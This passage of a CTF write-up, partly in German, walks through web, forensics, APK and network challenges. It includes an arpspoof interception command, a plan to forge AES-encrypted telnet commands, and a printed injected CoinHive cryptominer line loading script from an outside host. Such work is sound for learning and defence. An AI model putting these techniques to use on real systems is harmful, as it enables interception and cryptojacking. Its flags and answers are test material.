    if (v instanceof Object) {
      for (var key in v) {
        if (/^\$/.test(key)) {
          delete v[key];
        }
      }
    }
    return v;
  };

initDb(function (err) {
    app.get('/', function(req, res) {
        res.sendFile(path.join(__dirname+'/index.html'));
    });  

    app.post('/login', function (req, res) {

        const db = getDb();
        c = db.db('test');
    
        var query = {
            username: sanitize(req.body.username),
            password: sanitize(req.body.password)
        }

        c.collection('users').findOne(query, function (err, user) {
            if(user == null) {
                res.send(JSON.stringify("Login Failed"))
            }
            else {
                resp = "Welcome: " + user['username'] + "!";
                res.send(JSON.stringify(resp));
            }
        });
    });
[...]
```
Flag sieht man dann wieder in der CI: **gigem{3y3_SQL_n0w_6b95d3035a3755a}**

---

## MicroServices

### 0_intrusion [100 - SOLVED]
Welcome to MicroServices inc, where do all things micro and service oriented!
Recently we got an alert saying there was suspicious traffic on one of our web servers. Can you help us out?What is the IP Address of the attacker?


Analyzed  captured.pcap with wireshark, found ssh traffic which is unusual for a webservice, found out that the webservice is running on 10.83.20.77. Therefore I tried the other ip-address `10.91.9.93` and tried as flag and had luck.

### 1_logs 100

Thanks for discovering the malicious IP. We will add it to our block list. We also got a disk image of the web server while you were working. Can you dig a little deeper for us?

Disk Image

* What user was the attacker able to login as?
* What is the date & time that the attacker logged in? (MM/DD:HH:MM:SS)

* extract filesystem.image from filesystem.image 

            file filesystem.image
            filesystem.image: Linux rev 1.0 ext4 filesystem data, UUID=a3f91fc3-3067-43d1-b704-7b1ab3a66579, volume name "cloudimg-rootfs" (needs journal recovery) (extents) (large files) (huge files)

* Check offset of filesystem

	    sudo fdisk -l filesystem.image
	    Disk filesystem.image: 10 GiB, 10736352768 bytes, 20969439 sectors
	    Units: sectors of 1 * 512 = 512 bytes
	    Sector size (logical/physical): 512 bytes / 512 bytes
	    I/O size (minimum/optimal): 512 bytes / 512 bytes

-> seems that no offset is needed

* Mount

	    mkdir tmp
	    sudo mount filesystem.image tmp/

* Examine authentication  Log file

        sudo less var/log/auth.log
        Feb 17 00:06:04 ubuntu-xenial sshd[15799]: Accepted publickey for root from 10.91.9.93 port 41592 ssh2: RSA SHA256:lR4653Hv/Y9QthWvXFB2KkNPzQ1r8mItv83OgiCAR4g

**Accepted Results:**
* username: root 
* time: 02/17:00:06:04

### 2_analysis [100]

Thanks for that information. Can you take a deeper dive now and figure out exactly how the attacker go in?

* What is the name of the service that was used to compromise the machine? (All lowercase)
* What is the md5sum of the initial compromising file?
*  What specific line in the initial compromising file was the most dangerous? (Actual line, spaces in front don't matter)



---

### Secrets [494 - SOLVED]

Can you find my secrets?

File: howdyapp.apk
Decompiled the apk with apktool

    sudo apt-get install apktool
    apktool d howdyapp.apk

Creates following resources:

    -rw-r--r--   1 ...  676 Feb 23 19:14 AndroidManifest.xml
    -rw-r--r--   1 ...  399 Feb 23 19:14 apktool.yml
    drwxr-xr-x   3 ... 4096 Feb 23 19:14 original
    drwxr-xr-x 123 ... 4096 Feb 23 19:14 res
    drwxr-xr-x   4 ... 4096 Feb 23 19:14 smali
    
    cd res/values/
    cat strings.xml
    ...
    <string name="app_name">HowdyApp</string>
    <string name="flag">Z2lnZW17aW5maW5pdGVfZ2lnZW1zfQ==</string>
    <string name="initial_count">0</string>

Decode Base64 online:

    Z2lnZW17aW5maW5pdGVfZ2lnZW1zfQ==
    gigem{infinite_gigems}
    
---
    
## Network/Pentest

### Stop and Listen [494 - SOLVED]

Sometimes you just need to stop and listen.

This challenge is an introduction to our network exploit challenges, which are hosted over OpenVPN.

Instructions:

* Install OpenVPN. Make sure to install the TAP driver.
  * Debian (Ubuntu/Kali) linux CLI: 
              
        sudo apt-get install openvpn
             
  * Windows GUI installer
  
  
* Obtain your OpenVPN configuration in the challenge modal.
    You will obtain a separate config for each challenge containing connection info and certificates for authentication.
    
    Downloaded listen.ovpn 

        
    
* Launch OpenVPN:
  * CLI: sudo openvpn --config ${challenge}.ovpn
  * Windows GUI: Place the config file in %HOMEPATH%\OpenVPN\config and right-click the VPN icon on the status bar, then select the config for this challenge

        sudo openvpn --config listen.vpn

If your tap0 interface doesn't obtain an IP, don't panic. You can assign your own. 

            sudo ip link set tap0 up && sudo ip addr add dev tap0 172.30.0.10

Test with 

     sudo ifconfig
     ...
     tap0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.30.0.10  netmask 255.255.255.255  broadcast 0.0.0.0
        inet6 fe80::e827:93ff:fe4a:2cf1  prefixlen 64  scopeid 0x20<link>
        ether ea:27:93:4a:2c:f1  txqueuelen 100  (Ethernet)
        RX packets 53  bytes 5116 (4.9 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 40  bytes 5346 (5.2 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
    ...
    
    
The standard subnet is 172.30.0.0/28, so give that a scan ;)

Scanned: 

    sudo nmap -e tap0 -sP 172.30.0.0/28

    Starting Nmap 7.40 ( https://nmap.org ) at 2019-02-23 19:58 CET
    Nmap scan report for 172.30.0.2
    Host is up (0.17s latency).
    MAC Address: 02:42:C9:0F:A9:56 (Unknown)
    Nmap done: 16 IP addresses (1 host up) scanned in 16.24 seconds


If you have any issues, please let me (nategraf) know in the Discord chat

Some tools to get started:
* Wireshark
* tcpdump
* nmap
* ettercap
* bettercap

Listen: with Wireshark on tap0 interface

* Frame 26
26	25.026047960	172.30.0.2	172.30.0.15	UDP	130	5005  5005 Len=88
* war ein Text:
 "gigem{f0rty_tw0_c9d950b61ea83}" said Deep Thought, with infinite majesty and calm.\357\277\275\357\277\275\357\277\275 \n
 
### Copper [Unsolved]

```
Bob learned that telnet was actually not secure. Because Bob is a good administrator he wanted to make his own, more secure, version of telnet. He heard AES was secure so he decided to use that.

Here is the script he runs every day over telnet:

ls -la
date > monitor.txt
echo "=========================================" >> monitor.txt
echo "ps -aux" >> monitor.txt
ps -aux >> monitor.txt
echo "=========================================" >> monitor.txt
echo "df -h" >> monitor.txt
df -h >> monitor.txt
cp ./monitor.txt /logs
exit

Difficulty: medium
```

Ein Scan zeigt 2 Rechner im Netz:

```bash
$ sudo nmap -sn 172.30.0.0/28

Starting Nmap 7.60 ( https://nmap.org ) at 2019-03-03 09:33 CET
Nmap scan report for 172.30.0.2
Host is up (0.0071s latency).
MAC Address: 02:42:19:DC:CE:69 (Unknown)
Nmap scan report for 172.30.0.3
Host is up (0.0083s latency).
MAC Address: 02:42:DD:0C:F1:71 (Unknown)
Nmap scan report for bjarte (172.30.0.14)
Host is up.
Nmap done: 16 IP addresses (3 hosts up) scanned in 0.70 seconds
```

Mit arpspoof kann man die Kommunikation zwischen den beiden mitschneiden:

    sudo arpspoof -i tap0 -r -t 172.30.0.2 172.30.0.3
    
Dabei sieht man Kommunikation auf Port 6023 (normales telnet hat Port 23) bei dem etliche kurze Base64 String übertragen werden. Hier die beobachtete einseitige Kommunikation (172.30.0.3:39078 -> 172.30.0.2:6023):

```
YiqMxpZQz+5dPf+qELowBw==RdGNIA97r2yYuQsdXjbQGA==S+79/0xJH6oVAqvGSE+Vlw==vCffRJyLzPpoDVYNvxEtoA==RdGNIA97r2yYuQsdXjbQGA==MufXoG4oKY+tLj7TNMzMtQ==9+fXRGjlf3TvpwR6XiqcSw==83jbJmmZc/RUXML8GcGuVg==bIyEa1uO0qUPR+sBqjAJ8g==83jbJmmZc/RUXML8GcGuVg==0bGyNN1VKjWCxituvKDVvg==/Ks7iNV5tZaZT32Epav0CA==KLVDOWDtxnck6THwQuPfGg==L2/wiXcz7QQyFdbuDe14+w==MufXoG4oKY+tLj7TNMzMtQ==/Ks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KY+tLj7TNMzMtQ==/Ks7iNV5tZaZT32Epav0CA==MC9KVKLGfFmxvdr6qNuZpA==gCe+M22NmuwF6cPVKGGoZQ==MufXoG4oKY+tLj7TNMzMtQ==wJNrzltAAb7rg/64niXZNg==MufXoG4oKY+tLj7TNMzMtQ==S+79/0xJH6oVAqvGSE+Vlw==XpjdNQ+r0XfWy25TW5lyAg==lwzGU75ZfX1C+vFQE1ahTQ==83jbJmmZc/RUXML8GcGuVg==gCe+M22NmuwF6cPVKGGoZQ==pxsE18FW3UofpVPzG1RchA==0bGyNN1VKjWCxituvKDVvg==/Ks7iNV5tZaZT32Epav0CA==KLVDOWDtxnck6THwQuPfGg==L2/wiXcz7QQyFdbuDe14+w==MufXoG4oKY+tLj7TNMzMtQ==/Ks7iNV5tZaZT32Epav0CA==MC9KVKLGfFmxvdr6qNuZpA==gCe+M22NmuwF6cPVKGGoZQ==MufXoG4oKY+tLj7TNMzMtQ==wJNrzltAAb7rg/64niXZNg==MufXoG4oKY+tLj7TNMzMtQ==83jbJmmZc/RUXML8GcGuVg==pxsE18FW3UofpVPzG1RchA==YiqMxpZQz+5dPf+qELowBw==/Ks7iNV5tZaZT32Epav0CA==lwA3zobBmueRmJyafjFH9A==US5MJOeTx6L69iQT3Y8B9g==S+79/0xJH6oVAqvGSE+Vlw==9+fXRGjlf3TvpwR6XiqcSw==wJNrzltAAb7rg/64niXZNg==L2/wiXcz7QQyFdbuDe14+w==MufXoG4oKY+tLj7TNMzMtQ==S+79/0xJH6oVAqvGSE+Vlw==
```

Es fällt auf, dass die verschickten Nachrichten stets genau 16 byte (= 1 AES Block) lang sind.

Wenn man den Beginn einer Telnet Session in Wireshark findet, dann erkennt man, dass jeder Buchstabe einzeln (und immer gleich) mit AES verschlüsselt geschickt wird.

Aus den Kommandos ergibt sich folgende Einzelzeichen Verschlüsselung:

|Base64(Enc( c )) | c |
|---------------|---|
|83jbJmmZc/RUXML8GcGuVg==|SPACE|
h8zZvECdaFr730Mgo5EgYQ==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DfScYw6c5UA==
```

Wenn man die eigene IP Adresse auf *172.30.0.3/28* ändert, dann kann man mit dem "telnet" Server auf 172.30.0.2:6023 kommunizieren.

Weitere Vorgehensweise:

* Antwort und Character Verschlüsselungen dekodieren
* Byte Sequenzen in Antwort mit bekannten Zeichen ersetzen
* Vermutung: Dort wird es eine Datei `flag.txt` oder ähnlich geben
* Testen ob eine Verbinfung auf 172.30.0.2:6023 möglich ist, wenn man die eigene IP ändert
* Falls das geht: Aus den bekannten Veschlüsselungen ein `cat flag.txt` zusammenbauen

## 0_Network_Enumeration [100 - SOLVED]

Recently, the office put up a private webserver to store important information about the newest research project for the company. This information was to be kept confidential, as it's release could mean a large loss for everyone in the office.

Just as the research was about to be published, a competing firm published information eerily similar. Too similar...

Time to take a look through the office network logs to figure out what happened.

* What is the IP address of the private webserver?
* How many hosts made contact with the private webserver that day?

Difficulty: easy

Analyzed file capture.pcap with wireshark, http filter showed the webserver ip address at
ip address: 192.168.11.4 

installed tshark a command line interface:
        
        sudo apt-get install tshark

and showed distinct ip addresses connecting to the webserver with:

    tshark -r capture.pcap -T fields -e ip.src -Y ip.dst==192.168.11.4 |sort |uniq
    128.194.165.200
    172.217.6.138
    172.226.209.130
    192.168.1.1
    192.168.11.5
    192.168.11.7
    192.168.11.8
    192.168.11.9
    35.222.85.5
    35.224.99.156
    52.43.40.243
    54.213.168.194
    91.189.92.38

13 hosts tried to connect ro the webserver.

### 1_Discovery [100 - SOLVED]

* What is the IP address of the host exfiltrating data?
* For how long did the exfiltration happen? (Round to the nearest second. Format: MM:SS)
* What protocol/s was used to exfiltrate data? (Alphabetical order, all caps, comma separated, with spaces - ex: ABCD, BBCD)

Difficulty: easy


* ip of extrafiltrating host: 192.168.11.7


* exfiltration time:
    * Frame 1279 ICMP Arrival Time: Feb 20, 2019 06:24:40.526021000 CET
    * Frame 14566 DNS Arrival Time: Feb 20, 2019 06:35:49.285991000 CET
Difference: 11:09

* protocols used for exfiltration:
    * DHCP, DNS, ICMP


### 2_Exfiltration [100 solved]

    What is the name of the stolen file?
    What is the md5sum of the stolen file?

Difficulty: easy

* First icmp packet 1278 extract data with wireshark as Printable Text and convert online hex to string 

SEx4IRV.746f74616c6c795f6e6f7468696e672e706466.REGISTER.6156eab6691f32b8350c45b3fc4aadc1

* Convert again hex to string 746f74616c6c795f6e6f7468696e672e706466

filename: totally_nothing.pdf
checksum: 6156eab6691f32b8350c45b3fc4aadc1

### 3_Data [100]

What compression encoding was used for the data?
What is the name and type of the decompressed file? (Format: NAME.TYPE e.g. tamuctf.txt)

Difficulty: medium-hard

* export filtered packets ip.dst==192.168.11.7&&ip.src==192.168.11.4 to reduced.pcap

* extract dns names
tshark -r reduced.pcap -T fields -e dns.qry.name -Y 'dns.qry.name contains "tamuctf"'> testdns

* extract http
tshark -r reduced.pcap -T fields -e http.file_data -Y 'http.request.method==POST' > testhttp

* extract icmp
tshark -r reduced.pcap -T fields -e data -Y 'icmp' > testicmp

* and tried to reconstruct the file with a python script:

compression encoding: gzip

    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-

    import binascii, gzip

    http=open("testhttp", "r").read()
    dns=open("testdns", "r").read()
    icmp=open("testicmp", "r").read()


    list=[]

    #clean icmp
    aicmp = icmp.replace("\n","")
    bicmp= str(binascii.unhexlify(aicmp))
    cicmp = bicmp.replace("'","")
    dicmp = cicmp.replace("b","")
    eicmp = bytes.fromhex(dicmp).decode('ascii')
    dicmp=eicmp.split("SEx4IRV.")


    for line in dicmp[2:]:
        list.append(line)


    #clean dns:
    ddns=dns.replace("SEx4IRV.","")
    edns=ddns.replace(".tamuctf.com\n","")
    fdns= str(binascii.unhexlify(edns))
    fdns= fdns.replace("'","")
    fdns= fdns.replace("b","")
    edns=fdns.split("SEx4IRV.")
    for line in edns:
        list.append(line)


    # clean http:
    ahttp = http.replace('"',"")
    ahttp = ahttp.split("\n")

    for line in ahttp:
            test=line.split('= ')
            if len(test)==2:   
                htttp = bytes.fromhex(test[1]).decode('utf8')
                htttp=htttp.replace('SEx4IRV.',"")
                list.append(htttp)

    list.remove('')
    new=[None] * 52   

    # get compression    
    print (list)

    # '0.1f8b080094e16c5c0003ed596b6c1c5715beb30f7b9dd8eb4dea249b07cdb64d8493ca9b5d3b7ea4698877fd1a83ed98d40',
    # 1f8b08 is gzip startsequence

    # put all in binaries of the queries in the right order in the new list
    for a in list:
        neu= a.split('.')
        if len(neu)==2:  
            new[int(neu[0])]=neu[1]

    f=open("output","wb")


    new = ''.join(new[:-1])+'0'
    print(len(new))
    n= binascii.unhexlify(new)
    #test= gzip.decompress(n)
    # Error -3 while decompressing data: invalid literal/lengths set
    print(new)

    # write binary to file
    #f.write(n)
    # disabled cause of Odd-length string

checked file format:
http://www.zlib.org/rfc-gzip.html
the string 1f8b080094e16c5c0003
at the 3 byte position 00 shows the filename is not included, so we need to decompress, what does not work  

TODO: check CRC value to figure out the end

---

## DriveByInc

### 0_Intrusion [100 - SOLVED]

```
Welcome to Drive By Inc. We provide all sorts of logistical solutions for our customers. Over the past few years we moved to hosting a large portion of our business on a nice looking website. Recently our customers are complaining that the front page of our website is causing their computers to run extremely slowly. We hope that it is just because we added too much javascript but can you take a look for us just to make sure?

   1. What is the full malicious line? (Including any HTML tags)

```

Looking at the HTML code, one notices a crypto mining beeing included at the end:

    <script src = http://10.187.195.95/js/colorbox.min.js></script><script>var color = new CoinHive.Anonymous("123456-asdfgh");color.start()</script></body>
    
Use that line as the flag.


### 1_logs [100]

Strange. We don't know how that got there. We have since gone and removed the offending lines. Maybe one of our developers wanted to make some money on the side. Here is a pcap and some web server logs from the day that users started complaining. Can you figure out if something nefarious happened while we go talk to the devs?

Link to pcap

* What is the ip of the attacker?
* What ports did they find open? (List low to high ex: 1,2,3)
* What are the names of the web files they found on the server? (List in alphabetical order comma seperated ex: a.html,a.php,b.html)

2/23 1:08 am CST add forgotten log files 2/23 8:29 am CST add slight clarification to 2


* ip address: 10.187.195.95
  found in apache/access.log

* ports: 22,80

* files: about.html,adminlogin.html,adminlogin.php,contact.html,gallery.html,index.html,services.html,typo.html

subsequently grepped: 

        cat access.log | grep 10.187.195.95 > extract
        cat extract | grep 'HTTP/1.1" 200' > extract1
        ...
        10.187.195.95 - - [22/May/2018:19:08:44 +0000] "GET /about.html HTTP/1.1" 200 14563 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
        10.187.195.95 - - [22/May/2018:19:08:44 +0000] "GET /adminlogin.html HTTP/1.1" 200 740 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
        10.187.195.95 - - [22/May/2018:19:08:44 +0000] "GET /adminlogin.php HTTP/1.1" 200 197 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
        10.187.195.95 - - [22/May/2018:19:08:45 +0000] "GET /contact.html HTTP/1.1" 200 11113 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
        10.187.195.95 - - [22/May/2018:19:08:47 +0000] "GET /gallery.html HTTP/1.1" 200 12970 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
        10.187.195.95 - - [22/May/2018:19:08:47 +0000] "GET /index.html HTTP/1.1" 200 21254 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
        10.187.195.95 - - [22/May/2018:19:08:50 +0000] "GET /services.html HTTP/1.1" 200 14622 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
        10.187.195.95 - - [22/May/2018:19:08:51 +0000] "GET /typo.html HTTP/1.1" 200 20335 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
        10.187.195.95 - - [22/May/2018:19:10:08 +0000] "GET /adminlogin.php?username=adsf&password=adsf HTTP/1.1" 200 220 "-" "sqlmap/1.2.4#stable (http://sqlmap.org)"
         
         
### 2_Analysis [100]

Apparently none of the devs knew what were talking about. Thanks to your initial findings it looks like this may have been an outside attack. Using the logs we already gave you can you dig deeper and see if you can find more information? In the meantime we will try and get files for you to look at.

1. What time in UTC did the initial scanning start? (mm/dd/yyyy:hh:mm:ss)
2. What is the name of the first tool used?
3. What is the version string of the third tool used?
4.  What page was attacked with the third tool?

2/22 10:49 pm CST updated format on question 1 2/23 12:37 pm CST updated timestamp solution for 1


1. ???    05/22/2018:19:07:43 did not work
2. nmap
3. sqlmap/1.2.4#stable
4. adminlogin.php